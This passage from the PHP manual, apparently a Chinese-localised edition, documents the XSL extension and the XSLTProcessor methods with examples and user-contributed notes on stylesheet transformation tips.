bool open ( string source )

}

Set the data containing the XML to parse.

参数

source

String containing the XML to be parsed.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->open()
XMLReader->close()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->setRelaxNGSchemaSource() | 上一级 | XSL functions


XSL functions

PHP 手册
后退 前进

CLIX. XSL functions

简介

The XSL extension implements the XSL standard, performing XSLT transformations using the libxslt library

需求

This extension uses libxslt which can be found at http://xmlsoft.org/XSLT/. libxslt version 1.0.18 or greater is required.

安装

PHP 5 includes the XSL extension by default and can be enabled by adding the argument --with-xsl[=DIR] to your configure line. DIR is the libxslt installation directory.

预定义类

XSLTProcessor

构造函数

  • XSLTProcessor->__construct() - construct a new XSLTProcessor object

方法

  • XSLTProcessor->getParameter() - Get value of a parameter

  • XSLTProcessor->hasExsltSupport() - Determine if PHP has EXSLT support

  • XSLTProcessor->importStylesheet() - Import stylesheet

  • XSLTProcessor->registerPHPFunctions() - Enables the ability to use PHP functions as XSLT functions

  • XSLTProcessor->removeParameter() - Remove parameter

  • XSLTProcessor->setParameter() - Set value for a parameter

  • XSLTProcessor->transformToDoc() - Transform to DOMDocument

  • XSLTProcessor->transformToURI() - Transform to URI

  • XSLTProcessor->transformToXML() - Transform to XML

范例

Many examples in this reference require both an XML and an XSL file. We will use collection.xml and collection.xsl that contains the following:

例子 1. collection.xml

<collection>
 <cd>
  <title>Fight for your mind</title>
  <artist>Ben Harper</artist>
  <year>1995</year>
 </cd>
 <cd>
  <title>Electric Ladyland</title>
  <artist>Jimi Hendrix</artist>
  <year>1997</year>
 </cd>
</collection>

例子 2. collection.xsl

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:param name="owner" select="'Nicolas Eliaszewicz'"/>
 <xsl:output method="html" encoding="iso-8859-1" indent="no"/>
 <xsl:template match="collection">
  Hey! Welcome to <xsl:value-of select="$owner"/>'s sweet CD collection!
  <xsl:apply-templates/>
 </xsl:template>
 <xsl:template match="cd">
  <h1><xsl:value-of select="title"/></h1>
  <h2>by <xsl:value-of select="artist"/> - <xsl:value-of select="year"/></h2>
  <hr />
 </xsl:template>
</xsl:stylesheet>

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

XSL_CLONE_AUTO (integer)

XSL_CLONE_NEVER (integer)

XSL_CLONE_ALWAYS (integer)

目录
XSLTProcessor->__construct() -- Creates a new XSLTProcessor object
XSLTProcessor->getParameter() -- Get value of a parameter
XSLTProcessor->hasExsltSupport() -- Determine if PHP has EXSLT support
XSLTProcessor->importStylesheet() -- Import stylesheet
XSLTProcessor->registerPHPFunctions() -- Enables the ability to use PHP functions as XSLT functions
XSLTProcessor->removeParameter() -- Remove parameter
XSLTProcessor->setParameter() -- Set value for a parameter
XSLTProcessor->transformToDoc() -- Transform to a DOMDocument
XSLTProcessor->transformToURI() -- Transform to URI
XSLTProcessor->transformToXML() -- Transform to XML

add a note add a note User Contributed Notes
28-Apr-2006 09:26
Enable libxslt library, PHP 5, under windows:

To Enable:
In your php.ini
1. Uncomment ;extension=php_xsl.dll
2. Change extension_dir to
     extension_dir = "./ext"

To Confirm:
1. In a test.php page:
<?php phpinfo() ?>
2. Run test.php
3. Search for "libxslt Version". It should return a version number in a XSL headed table.

Further info Google
"Configuring and Testing PHP Servers for XSL Support"
Fabrice Bonny
30-Mar-2006 05:34
In response to how to use entities from DTD (internal or external) in XSLT. It works if you do this way:

$xsl = new DOMDocument;
$xsl->resolveExternals = TRUE;
$xsl->substituteEntities = TRUE;
$xsl->load(...);

Hope this helps! ;-)
basslines at gmail dot com
30-Mar-2006 02:07
As far as I can tell, the most recent stable versions of LibXML/LibXSLT/LibEXSLT do NOT support xPath 2.0 / XSLT 2.0 transformations. The only support for XSLT 2.0 that I've found is in Java's SAXON processor (http://saxon.sourceforge.net/).
18-Mar-2006 01:14
In response to appletalk at gmail dot com
<snip>
As many of you may have noticed, DOM parser gives errors if the '&nbsp;' entity is present. The E_WARN message looks like:
Warning: DOMDocument::load() [function.load]: Entity 'nbsp' not defined in ...
There're many ways to solve this:
.....
b) Defining &nbsp;
At the top of the document, after the <?xml?> definition, add:
   <!DOCTYPE xsl:stylesheet [
   <!ENTITY nbsp "&#160;" >
   ]>
.......</snip>
Just wanted to let people know that option b does NOT work. I'm not sure why this isn't implemented correctly, but it isn't, so don't waste your time. It's unfortunate the DOMXSL transform is so much less capable than the old xslt function.
olivier dot sow at alias dot france
05-Aug-2005 09:27
if you have 'XML parser error 4: not well-formed (invalid token)' error without but your are sure to do no error at all, try this:
<?
function
XSL_transformation($XMLFile,$XSLFile,$ResultFile,$xsl_params){

       $Str = '';

       $xp = xslt_create() or trigger_error('Could not create XSLT process.', E_USER_ERROR);

       xslt_set_encoding($xp, 'ISO-8859-1');

       // read the files into memory
       $xsl_string = join('', file($XSLFile));
       $xml_string = join('', file($XMLFile));

       // set the argument buffer
       $arg_buffer = array('/xml' => $xml_string, '/xsl' => $xsl_string);

       // process the two files to get the desired output
       if (($Str = xslt_process($xp, 'arg:/xml', 'arg:/xsl', NULL, $arg_buffer, $xsl_params))){

           //Saves transformation result into '$ResultFile'
           $fp = fopen($ResultFile,"w+");
           fwrite($fp,$Str);
           fclose($fp);

           return true;
       }

       return false;

   }
?>

found here: http://bugs.php.net/bug.php?id=16193
venkatesh at lammersmedical dot com
01-Mar-2005 10:17
Here is function to read from the XSL sheet which is saved as a text file.

function ReadExcelSheet($filename){
             $test=file($filename);
             $ar1=str_replace("~[^\t]*\t","\t",$test);
             $ar2=str_replace("~","",$ar1);
             $ar=str_replace("","",$ar2);
             $temp=array();
             for ($i=0; $i<count($ar); $i++) {
                       if((substr($ar[$i],0,1)!= "\t")){
                           if($ar[$i]!=="\r\n"){
                           array_push($temp,$ar[$i]);
           }
       }
   }
   $name=split("\t",$temp[0]);
   $ExcelList=array();
   for($i=1;$i<count($temp);$i++){
       $split_result=split("\t",$temp[$i]);
       array_push($ExcelList,$split_result);
   }
   $result=insert_into_array($ExcelList,0,$name);
   return($result);
}
appletalk at gmail dot com
05-Feb-2005 02:32
As many of you may have noticed, DOM parser gives errors if the '&nbsp;' entity is present. The E_WARN message looks like:

Warning: DOMDocument::load() [function.load]: Entity 'nbsp' not defined in ...

There're many ways to solve this:
a) The hard way
<xsl:text disable-output-escaping="yes"> &amp;nbsp;</xsl:text>

b) Defining &nbsp;
At the top of the document, after the <?xml?> definition, add:
   <!DOCTYPE xsl:stylesheet [
   <!ENTITY nbsp "&#160;" >
   ]>

c) External Doctype
Just in case you want need other HTML entities, you can call an external doctype with the proper definitions

<!DOCTYPE page SYSTEM "http://gv.ca/dtd/character-entities.dtd">

Of course, you can download the file and place it in your server.
kekoajs at yahoo dot com
23-Dec-2004 06:07
Wow, I spent the better part of a day looking for how one could pass an entire test expression to an XSL stylesheet.  It seems that the XSLT 1.0 specification doesn't support it but PHP 5 (and maybe 4s) inclusion of  EXSLT allows one to do exactly that...

simply add these lines...

xmlns:dyn="http://exslt.org/dynamic"
extension-element-prefixes="dyn"

to the <xsl:stylesheet> element and when using an expression stored in a <xsl:param> element write

<xsl:if test="dyn:evaluate($param-name)">

and viola!  you can now use expressions generated externally in your stylesheet!

EXSLT adds many useful functions that can be integrated into your XSL in a similar fashion.  You can go to http://exslt.org/ to learn more...
rd at jerntorget dot se
24-Sep-2004 06:58
If you get the following warning message:

xsltApplyOneTemplate: _if_ was not compiled in (if can for example be apply-template or some other method), i've found that the problem seems to be an &nbsp; directly before the <xsl:if> or what ever is causing the problem.

One way to get thru the problem is to use span tags around &nbsp;  like : <span>&nbsp;</span>
jw at jwscripts dot com
06-Sep-2004 05:23
The following code is a wrapper to support calls to some of the old xslt_* functions:

<?

if (PHP_VERSION >= 5) {
   // Emulate the old xslt library functions
   function xslt_create() {
       return new XsltProcessor();
   }

   function xslt_process($xsltproc,
                         $xml_arg,
                         $xsl_arg,
                         $xslcontainer = null,
                         $args = null,
                         $params = null) {
       // Start with preparing the arguments
       $xml_arg = str_replace('arg:', '', $xml_arg);
       $xsl_arg = str_replace('arg:', '', $xsl_arg);

       // Create instances of the DomDocument class
       $xml = new DomDocument;
       $xsl = new DomDocument;

       // Load the xml document and the xsl template
       $xml->loadXML($args[$xml_arg]);
       $xsl->loadXML($args[$xsl_arg]);

       // Load the xsl template
       $xsltproc->importStyleSheet($xsl);

       // Set parameters when defined
       if ($params) {
           foreach ($params as $param => $value) {
               $xsltproc->setParameter("", $param, $value);
           }
       }

       // Start the transformation
       $processed = $xsltproc->transformToXML($xml);

       // Put the result in a file when specified
       if ($xslcontainer) {
           return @file_put_contents($xslcontainer, $processed);
       } else {
           return $processed;
       }

   }

   function xslt_free($xsltproc) {
       unset($xsltproc);
   }
}

$arguments = array(
   '/_xml' => file_get_contents("newxslt.xml"),
   '/_xsl' => file_get_contents("newxslt.xslt")
);

$xsltproc = xslt_create();
$html = xslt_process(
   $xsltproc,
   'arg:/_xml',
   'arg:/_xsl',
   null,
   $arguments
);

xslt_free($xsltproc);
print $html;

?>
rojaro
24-Jun-2004 10:43
If you're want to use XML from a variable e.g. $xmldata but the XSLT-StyleSheet from a file, you can do it also the following way:

<?php
$xslt = new xsltProcessor;
$xslt->importStyleSheet(DomDocument::load('filename.xsl'));
print $xslt->transformToXML(DomDocument::loadXML($xmldata));
?>
add a note add a note

后退 | 起点 | 前进
XMLReader->XML() | 上一级 | XSLTProcessor->__construct()


XSLTProcessor->__construct()

(no version information, might be only in CVS)

XSLTProcessor->__construct() -- Creates a new XSLTProcessor object

说明

class XSLTProcessor {

__construct ( (void); )

}

Creates a new XSLTProcessor object.

范例

例子 1. Creating an XSLTProcessor

<?php

$xsl = new XSLTProcessor();
$xsl->importStyleSheet(DOMDocument::load($xsl_filename));
echo $xsl->transformToXML(DOMDocument::load($xml_filename));

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XSL functions | 上一级 | XSLTProcessor->getParameter()


XSLTProcessor->getParameter()

(no version information, might be only in CVS)

XSLTProcessor->getParameter() -- Get value of a parameter

说明

class XSLTProcessor {

string getParameter ( string namespaceURI, string localName )

}

Gets a parameter if previously set by XSLTProcessor->setParameter().

参数

namespaceURI

The namespace URI of the XSLT parameter.

localName

The local name of the XSLT parameter.

返回值

The value of the parameter or NULL if it's not set.

参见

XSLTProcessor->setParameter()
XSLTProcessor->removeParameter()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XSLTProcessor->__construct() | 上一级 | XSLTProcessor->hasExsltSupport()


XSLTProcessor->hasExsltSupport()

(no version information, might be only in CVS)

XSLTProcessor->hasExsltSupport() -- Determine if PHP has EXSLT support

说明

class XSLTProcessor {

bool hasExsltSupport ( void )

}

This method determine if PHP was built with the EXSLT library.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Testing EXSLT support

<?php

$proc = new XSLTProcessor;
if (!$proc->hasExsltSupport()) {
    die('EXSLT support not available');
}

// do EXSLT stuff here ..

?>

add a note add a note User Contributed Notes
bgarrett at jrcorps dot com
31-Mar-2005 03:29
I was scratching my head for hours on this one...

I had written a niftly little xsl-based form library a while back that worked great in PHP 4's less strict sablotron processor. The library was making use of some Result-Tree Fragments that, when I switched to PHP 5, resulted in some crazy output.

I was doing a bit more reading on Result-Tree Fragments in XSL and decided I needed to use something to turn the fragment into a node-set.

So, I was trying to use exslt's node-set() function as part of the exsl/common namespace. The phpinfo() and xsl-xsltprocessor::has-exslt-support() said I had EXSLT support.

However, when I used the examples on the exslt site I was getting the error:

"Warning: xmlXPathCompOpEval: function node-set not found in ./libraries/functions/xml_functions.php on line 24

Warning: Unregistered function in ./libraries/functions/xml_functions.php on line 24"

I google the errors, but only found some msxsl related mailing list articles. There was nothing relating to PHP or libxslt specifically.

I then searched on the libxslt site and found an example of someone using the "exslt" namespace vs the "exsl" namespace  as used on the EXSLT's documentation.

Sure enough, I changed the namespace, and it worked slick.

The moral of the story is that PHP's support for EXSLT's common lib has the "exslt" namespace and that this bug doesn't seem to get any notice from Google. This is why I am being verbose in hopes google will pick this comment up as to help other getting this error.

Links:
EXSLT's page for the exsl:node-set() function
http://exslt.org/exsl/functions/node-set/index.html

Example on libxsl's mailing list:
http://mail.gnome.org/archives/xslt/2001-October/msg00063.html

--
Blaine Flynn Garrett
Chief Web Applications Developer
http://jrcorps.com JR Computer Associates INC
add a note add a note

后退 | 起点 | 前进
XSLTProcessor->getParameter() | 上一级 | XSLTProcessor->importStylesheet()


XSLTProcessor->importStylesheet()

(no version information, might be only in CVS)

XSLTProcessor->importStylesheet() -- Import stylesheet

说明

class XSLTProcessor {

void importStylesheet ( DOMDocument stylesheet )

}

This method import the stylesheet into the XSLTProcessor for transformations.

参数

stylesheet

The imported style sheet as a DOMDocument object.

返回值

无返回值。

add a note add a note User Contributed Notes
bbrosseau at gmail
02-Mar-2005 12:46
For those who wants to use external documents, it is important not to use the DomDocument::loadXML because the processor will not have the path to look for other files

So if you want to transform some xml with a pre-generated stylesheet $f:

$f = 'somestylesheet.xsl';

  $xsl = DomDocument::loadXML(file_get_contents($f));

document('other.xml') will not work with relative path and

  $xsl = DomDocument::load($f);

will!
add a note add a note

后退 | 起点 | 前进
XSLTProcessor->hasExsltSupport() | 上一级 | XSLTProcessor->registerPHPFunctions()


XSLTProcessor->registerPHPFunctions()

(no version information, might be only in CVS)

XSLTProcessor->registerPHPFunctions() -- Enables the ability to use PHP functions as XSLT functions

说明

class XSLTProcessor {

void registerPHPFunctions ( [mixed restrict] )

}

This method enables the ability to use PHP functions as XSLT functions within XSL stylesheets.

参数

restrict

Use this parameter to only allow certain functions to be called from XSLT.

This parameter can be either a string (a function name) or an array of functions.

返回值

无返回值。

更新日志

版本 | 说明
5.1.0 | The restrict parameter was added.

add a note add a note User Contributed Notes
taylorbarstow at that google mail thingy
26-May-2006 08:33
Add-on to my previous note (below) about returning nodesets to XSLT from PHP functions:

You don't have to return a DOMDocument, DOMElement works just as well.  Plus, retuning a DOMElement gets around the problem of discarding the root node which I discuss below and which is also touched on by "Ingram".
heinemann dot juergen at hjcms dot de
09-Mar-2006 06:23
You can find mor Examples at PHP Sources php-5.*/ext/xsl/tests
<?php

$xform = <<<EOT
<?xml version = '1.0' encoding = 'utf-8' ?>
<xsl:stylesheet version="1.0"
   xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
   xmlns:php="http://php.net/xsl"
   xsl:extension-element-prefixes="php"
>
<xsl:output method="xml" indent="yes" encoding="utf-8" />
<xsl:namespace-alias stylesheet-prefix="php" result-prefix="xsl" />
<xsl:template match="root">
<html>
<head>
   <title>Dateformat</title>
</head>
<body>
<xsl:for-each select="datenode">
   <li>
       <xsl:value-of select="php:functionString('convertDate', . )" />
   </li>
   </xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
EOT;

function convertDate( $i )
{
   setlocale( LC_TIME, 'de_DE' );
   return utf8_encode( strftime( '%B %d %A %Y %H:%M:%S CET', $i ) );
}

$xsl = new XSLTProcessor;
$xsl->registerPHPFunctions();
$xsl->setParameter( 'DOCTYPE', 'PUBLIC', 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd' );
$xsl->setParameter( 'html', 'xmlns', 'http://www.w3.org/1999/xhtml' );

$xdom = new DomDocument( '1.0', 'utf-8' );
$xdom->loadXML( $xform );

$xsl->importStyleSheet( $xdom );
unset( $xdom );

$dom = new DomDocument( '1.0', 'utf-8' );
$r = $dom->appendChild( $dom->createElement( 'root' ) );
foreach ( range( 1, 12 ) AS $i ) {
   $r->appendChild( $dom->createElement( 'datenode', mktime( date('G'), date('i'), date('s'), $i, date('d'), date('Y') ) ) );
}

header( "Content-Type: text/html; charset=utf-8;" );
header( "Content-Encoding: utf-8" );
echo $xsl->transformToXML( $dom );

?>
Ingram
01-Mar-2006 04:33
Upon testing returning of a nodeset contributed by

taylorbarstow at that google mail thingy

(which works excellently, TY!)

I found that with using:

===
"Presumably, it's worth creating a template to do the discard:

<xsl:template select="*" mode="discardRoot">
   <xsl:apply-templates select="./*" />
</xsl:template>

Which you can call like so:

<xsl:apply-templates select="php:function('getNodeSet')" mode="discardRoot" /> "
===

I could only output the text and not any of the tags after applying templates - i.e. it stripped all elements around text.

Instead using:

===
<xsl:template match="/">
   <xsl:for-each select="php:function('getNodeSet')" />
     <xsl:apply-templates />
   </xsl:for-each>
</xsl:template>

which effectively discards the root node.
===

Worked fine and allowed me to apply-templates without problem on the returned nodeset.
hopeseekr at gmail dot com
02-Feb-2006 04:17
One of the peskiest things I had problems with was encoding URL parameters.  I mean, pretend you want to populate a link with "search+terms" instead of just "search terms".  I was including two seperate URLs in the XML and that was ludicrous.

Below is a far more elegant PHP+XSLT solution.  You will also see it uses two *undocumented* features of registerPHPFunctions(), namely php:functionString() and the passing of parameters to the function.  I figured this out by trial and error; I really hope this note helps you as it *greatly* expands the power of php functions in XSLT!

<?php
/* --- XML input --- */
<search_results>
   <query>concert tickets</query>
</search_results>

/* --- XSL code --- */
<!-- Display query -->
<xsl:template match="search_results">
   <!-- Get URL-encoded string via PHP -->
   <xsl:variable name="safeurl" as="xs:string" select="php:functionString('urlencode', query)" />
   <p>Your search for <em><xsl:value-of select="query"/></em> can be continued at <a href="http://www.tixtix.com/search.php?q={$safeurl}">our search engine</a></p>
</xsl:template>

/* --- XHTML output --- */
<p>Your search for <em>concert tickets</em> can be continued at <a href="http://www.tixtix.com/search.php?q=space+cowboy">our search engine</a></p>
?>

Cool, huh?
taylorbarstow at that google mail thingy
01-Dec-2005 11:14
From a PHP function, you can pass a nodeset back to XSL using a DOMDocument.  For example:

<?php

function getNodeSet() {
   $xml =
       "<test>" .
       "<a-node>This is a node</a-node>" .
       "<a-node>This is another node</a-node>" .
       "</test>";
   $doc = new DOMDocument;
   $doc->loadXml($xml);
   return $doc;
}

?>

The only problem I've found is that the root level node in your returned DOM document acts like the root level node of your original.  SO, it's easy to introduce an infinite loop like so:

<xsl:template match="/">
   <xsl:apply-templates select="php:function('getNodeSet')" />
</xsl:template>

To avoid this, I've been using a construct like:

<xsl:template match="/">
   <xsl:for-each select="php:function('getNodeSet')" />
     <xsl:apply-templates />
   </xsl:for-each>
</xsl:template>

which effectively discards the root node.  Presumably, it's worth creating a template to do the discard:

<xsl:template select="*" mode="discardRoot">
   <xsl:apply-templates select="./*" />
</xsl:template>

Which you can call like so:

<xsl:apply-templates select="php:function('getNodeSet')" mode="discardRoot" />
Ritch at Bugsoftware dot co dot uk
22-Jun-2005 06:18
If you wish to use a function from inside a class use the double colon (::) notation, for example;

php:functionString('classname::function')

The funtion is fired off as a static and as such acts like a function in the global namespace.
benbarnett
04-Mar-2005 08:34
You can use the php:functionString() in the XSL, which will automatically convert output to a string!
zac at zacbowling dot com
27-Oct-2004 04:48
One thing I have told a lot of people to do if they are having
issues with this function is to check for any 'xmlns' attributes
that get generated and added to your xml pages by some
types of popular software.

<?php
$file = "http://data.map***.net/m***ck.asmx/GetMessages?IMEI=$id";

$docxml = file_get_contents($file);

//You may have to do something like this where
//I remove any instance of xmlns tags that get
//returned by my ASP.NET SOAP responses.

$docxml =
 str_replace("xmlns=\"http://data.map***.net/m***ck.asmx?WSDL\"",
  "",$docxml);

$xslt = new xsltProcessor;

//You don't remove them then this function will blow up.
$xslt->registerPHPFunctions();
$xslt->importStyleSheet(DomDocument::load('../xsl/message.xsl'));
print $xslt->transformToXML(DomDocument::loadXML($docxml));

?>

Also a few cool tricks with this function is that you can call
built in PHP functions. For example:

<xsl:value-of
  select="php:function('nl2br',string(MessageContent/Message))"
  disable-output-escaping="yes"/>

That XSL value will now return your normal string but replace
all your new line charactors in your xml with '<br />'s.

Also note the 'disable-output-escaping="yes"' statement. If
you don't call this, then the output of that bind will be ran
thru basicly a "htmlencode()" type function.

Last but not least, take a look at the 'string()' function I
called in XSL before passing it back. That is because without
calling that, when it runs it will try and pass the node object,
and not its value (which is what you most likely only want).

This function is very awsome and could lead to some very
interesting code development. Skins could be loaded
remotely. You could write an RSS viewer in PHP without much
code. You could parse XHTML pages into another view (either
localy or remotely). Then you can take that same XML
content and throw it against ASP.NET, Java, or even a
command line processing tool using that same exact XSL
style sheet and generate the front ends for you page without
much change. I'm very excited.

Happy codding.
junkmail at eighteyes dot com
09-Oct-2004 05:52
When writing a stylesheet that uses a callback function be sure to include a namespace declaration for php, as follows:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" version='1.0'>
begemot at php dot com dot ua
28-Sep-2004 09:24
I think it help  your.
<?php

function dateLang () {
       return strftime("%A");
}

$xsl = new DomDocument();
$xsl->load("datetime.xsl");
$inputdom = new DomDocument();
$inputdom->load("today.xml");

$proc = new XsltProcessor();
$proc->registerPhpFunctions();

// Load the documents and process using $xslt
$xsl = $proc->importStylesheet($xsl);

/* transform and output the xml document */
$newdom = $proc->transformToDoc($inputdom);

print $newdom->saveXML();

?>

Here's the XSLT stylesheet, datetime.xsl, that will call that function:

<?xml version="1.0" encoding="iso-8859-1" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
  <xsl:value-of select="php:function('dateLang')" />
</xsl:template>
</xsl:stylesheet>

And here's an absolute minimal XML file, today.xml, to pass through the stylesheet (although articles.xml would achieve the same result):

<?xml version="1.0" encoding="iso-8859-1" ?>
<today></today>
zac at zacbowling dot com
27-Aug-2004 12:48
One thing to note about this function. A lot of values need to be converted to a XSLT string using the "string()" function in XLS before you pass them to your functions, and when you return them make sure that if they are strings that you call the "strval()" in php before doing so. This saved me hours.

Hope that helps.

Zac Bowling
add a note add a note

后退 | 起点 | 前进
XSLTProcessor->importStylesheet() | 上一级 | XSLTProcessor->removeParameter()


XSLTProcessor->removeParameter()

(no version information, might be only in CVS)

XSLTProcessor->removeParameter() -- Remove parameter

说明

class XSLTProcessor {

bool removeParameter ( string namespaceURI, string localName )

}

Removes a parameter, if set. This will make the processor use the default value for the parameter as specified in the stylesheet.

参数

namespaceURI

The namespace URI of the XSLT parameter.

localName

The local name of the XSLT parameter.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XSLTProcessor->setParameter()
XSLTProcessor->getParameter()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XSLTProcessor->registerPHPFunctions() | 上一级 | XSLTProcessor->setParameter()


XSLTProcessor->setParameter()

(no version information, might be only in CVS)

XSLTProcessor->setParameter() -- Set value for a parameter

说明

class XSLTProcessor {

bool setParameter ( string namespace, string name, string value )

}class XSLTProcessor {

bool setParameter ( string namespace, array options )

}

Sets the value of one or more parameters to be used in subsequent transformations with XSLTProcessor. If the parameter doesn't exist in the stylesheet it will be ignored.

参数

namespace

The namespace URI of the XSLT parameter.

name

The local name of the XSLT parameter.

value

The new value of the XSLT parameter.

options

An array of name => value pairs. This syntax is available since PHP 5.1.0.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Changing the owner before the transformation

<?php

$collections = array(
    'Marc Rutkowski' => 'marc',
    'Olivier Parmentier' => 'olivier'
);

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // attach the xsl rules

foreach ($collections as $name => $file) {
    // Load the XML source
    $xml = new DOMDocument;
    $xml->load('collection_' . $file . '.xml');

    $proc->setParameter('', 'owner', $name);
    $proc->transformToURI($xml, 'file:///tmp/' . $file . '.html');
}

?>

参见

XSLTProcessor->getParameter()
XSLTProcessor->removeParameter()

add a note add a note User Contributed Notes
heinemann dot juergen at hjcms dot de
07-Mar-2006 07:39
Example for how it works.

<?xml version = '1.0' encoding = 'utf-8' ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml"
   indent="yes"
   encoding="ISO-8859-15"
   doctype-system = "-//W3C//DTD XHTML 1.0 Transitional//EN"
   doctype-public = "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
/>
<xsl:template match="docs">
<html>
<head>
   <title>
       <xsl:text>Example</xsl:text>
   </title>
</head>
<body>
   <xsl:for-each select="block">
       <div>
           <xsl:value-of select="." />
       </div>
   </xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

------------------

<?php
$dom = new DomDocument( '1.0', 'utf-8' );
$xsl = new XSLTProcessor;
$xsl->setParameter( 'block', 'xmlns', 'http://www.w3.org/1999/xhtml' );

$style = realpath( "./my_stylesheet.xslt" );
$dom->load( $style );
$xsl->importStyleSheet( $dom );

$dom->loadXML( '<docs>
   <block>Howto set xhtml Transitional Namespaces width php</block>
   <block>see http://www.php.net</block>
</docs>' );

$out = $xsl->transformToXML( $dom );

var_dump( '<pre>',
   htmlentities( $out, ENT_QUOTES, 'utf-8' ),
   $xsl->getParameter( 'block', 'xmlns' ),
   $xsl->getParameter( 'docs', 'xmlns' ),
'</pre>' );

?>
Stoke A
12-Aug-2005 06:40
XSLTProcessor::removeParameter() won't work on parameters set via XSLTProcessor::setParameter(string namespace, array options) in 5.1+ -- they need to be set and removed one by one.
add a note add a note

后退 | 起点 | 前进
XSLTProcessor->removeParameter() | 上一级 | XSLTProcessor->transformToDoc()


XSLTProcessor->transformToDoc()

(no version information, might be only in CVS)

XSLTProcessor->transformToDoc() -- Transform to a DOMDocument

说明

class XSLTProcessor {

DOMDocument transformToDoc ( DOMNode doc )

}

Transforms the source node to a DOMDocument applying the stylesheet given by the XSLTProcessor->importStylesheet() method.

参数

doc

The node to be transformed.

返回值

The resulting DOMDocument or FALSE on error.

范例

例子 1. Transforming to a DOMDocument

<?php

// Load the XML source
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // attach the xsl rules

echo trim($proc->transformToDoc($xml)->firstChild->wholeText);

?>

上例将输出：

Hey! Welcome to Nicolas Eliaszewicz's sweet CD collection!

参见

XSLTProcessor->transformToURI()
XSLTProcessor->transformToXML()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XSLTProcessor->setParameter() | 上一级 | XSLTProcessor->transformToURI()


XSLTProcessor->transformToURI()

(no version information, might be only in CVS)

XSLTProcessor->transformToURI() -- Transform to URI

说明

class XSLTProcessor {

int transformToURI ( DOMDocument doc, string uri )

}

Transforms the source node to an URI applying the stylesheet given by the XSLTProcessor->importStylesheet() method.

参数

doc

The transformed document.

uri

返回值

Returns the number of bytes written or FALSE if an error occurred.

范例

例子 1. Transforming to a HTML file

<?php

// Load the XML source
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // attach the xsl rules

$proc->transformToURI($xml, 'file:///tmp/out.html');

?>

参见

XSLTProcessor->transformToDoc()
XSLTProcessor->transformToXML()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XSLTProcessor->transformToDoc() | 上一级 | XSLTProcessor->transformToXML()


XSLTProcessor->transformToXML()

(no version information, might be only in CVS)

XSLTProcessor->transformToXML() -- Transform to XML

说明

class XSLTProcessor {

string transformToXML ( DOMDocument doc )

}

Transforms the source node to a string applying the stylesheet given by the XSLTProcessor->importStylesheet() method.

参数

doc

The transformed document.

返回值

The result of the transformation as a string or FALSE on error.

范例

例子 1. Transforming to a string

<?php

// Load the XML source
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // attach the xsl rules

echo $proc->transformToXML($xml);

?>

上例将输出：

Hey! Welcome to Nicolas Eliaszewicz's sweet CD collection!

<h1>Fight for your mind</h1><h2>by Ben Harper - 1995</h2><hr>
<h1>Electric Ladyland</h1><h2>by Jimi Hendrix - 1997</h2><hr>

参见

XSLTProcessor->transformToDoc()
XSLTProcessor->transformToURI()

add a note add a note User Contributed Notes
lsoethout at hotmail dot com
19-Feb-2006 06:35
The function transformToXML has a problem with the meta content type tag. It outputs it like this:

   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

which is not correct X(HT)ML, because it closes with '>' instead of with '/>'.

A way to get the output correct is to use instead of transformToXML first transformToDoc anf then saveHTML:

   $domTranObj = $xslProcessor->transformToDoc($domXmlObj);
   $domHtmlText = $domTranObj->saveHTML();
jlipps at mac
07-Jan-2005 12:05
transformToXML, if you have registered PHP functions previously, does indeed attempt to execute these functions when it finds them in a php:function() pseudo-XSL function. It even finds static functions within classes, for instance:

<xsl:value-of select="php:function('MyClass::MyFunction', string(@attr), string(.))" disable-output-escaping="yes"/>

However, in this situation transformToXML does not try to execute "MyClass::MyFunction()". Instead, it executes "myclass:myfunction()". In PHP, since classes and functions are (I think) case-insensitive, this causes no problems.

A problem arises when you are combining these features with the __autoload() feature. So, say I have MyClass.php which contains the MyFunction definition. Generally, if I call MyClass::MyFunction, PHP will pass "MyClass" to __autoload(), and __autoload() will open up "MyClass.php".

What we have just seen, however, means that transformToXML will pass "myclass" to __autoload(), not "MyClass", with the consequence that PHP will try to open "myclass.php", which doesn't exist, instead of "MyClass.php", which does. On case-insensitive operating systems, this is not significant, but on my RedHat server, it is--PHP will give a file not found error.

